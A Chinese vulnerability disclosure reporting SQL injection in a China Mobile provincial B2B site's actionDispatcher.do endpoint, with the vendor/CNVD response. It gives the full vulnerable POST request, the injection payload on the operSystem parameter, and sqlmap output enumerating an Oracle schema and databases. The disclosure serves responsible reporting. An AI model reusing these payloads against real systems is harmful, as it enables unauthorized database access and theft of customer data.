中国移动某省级站点接口存在SQL注入涉及大量敏感信息

存在问题的请求如下

POST /b2b/actionDispatcher.do HTTP/1.1
 Host: **.**.**.**
 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
 Accept: */*
 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
 Accept-Encoding: gzip, deflate
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Referer: http://**.**.**.**/b2b/phoneSearchCenter.jsp?keyValue=%25E8%2581%2594%25E6%2583%25B3&flag=1
 Content-Length: 224
 Cookie: _ga=GA1.2.962280857.1450705224; CmLocation=210|210; CmProvid=sh; WT_FPC=id=2a1cd669070c664f8a51458700697878:lv=1458700983124:ss=1458700697878; tK1gTQFA2C=MDAwM2IyYThiNjAwMDAwMDAwNjQwclQlEQoxNDU4NzI5NzY5; B2B_JSESSIONID=8V4jWyCJDbFMMdM9nS1dwJHQDLLtXvHGz7wtMykh4hgZbpp4Y0gT!-181881616
 Connection: keep-alive
 Pragma: no-cache
 Cache-Control: no-cache
 
 reqUrl=phoneSearchCenterNew&brand=&operSystem=5&price=&screenSize=&mobileCPUType=&networkMode=&hasStock=false&supplierNum=&keyValue=%25E8%2581%2594%25E6%2583%25B3&brandKey=undefined&classifyKey=undefined&flag=

operSystem存在注入

注入payload如下

operSystem=5')+and+('1'='1

sqlmap获取数据如下：

当前库KFZXBTB

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: (custom) POST

Parameter: #1*

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: reqUrl=phoneSearchCenterNew&brand=&operSystem=5') AND 2851=2851 AND ('PpGp'='PpGp&price=&screenSize=&mobileCPUType=&networkMode=&hasStock=false&supplierNum=&keyValue=%E8%81%94%E6%83%B3&brandKey=undefined&classifyKey=undefined&flag=

---

[21:10:10] [WARNING] changes made by tampering scripts are not included in shown payload content(s)

[21:10:10] [INFO] the back-end DBMS is Oracle

web application technology: Servlet 3.0, JSP, JSP 2.2, Nginx

back-end DBMS: Oracle

[21:10:10] [INFO] fetching current database

[21:10:10] [INFO] resuming partial value: K

[21:10:10] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[21:10:10] [INFO] retrieved:

you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in futher requests? [Y/n]

FZXBTB

[21:13:54] [WARNING] on Oracle you'll need to use schema names for enumeration as the counterpart to database names on other DBMSes

current schema (equivalent to database on Oracle): 'KFZXBTB'

[21:13:54] [INFO] fetched data logged to text files under '/root/.sqlmap/output/**.**.**.**'

[*] shutting down at 21:13:54

available databases [4]:

[*] KFZXBTB

[*] SYS

[*] SYSTEM

[*] TSMS1

里面的库都很大，动不动就几千张表。。。

过滤

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-03-25 17:49

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT向中国移动集团公司通报，由其后续协调网站管理部门处置

最新状态：

暂无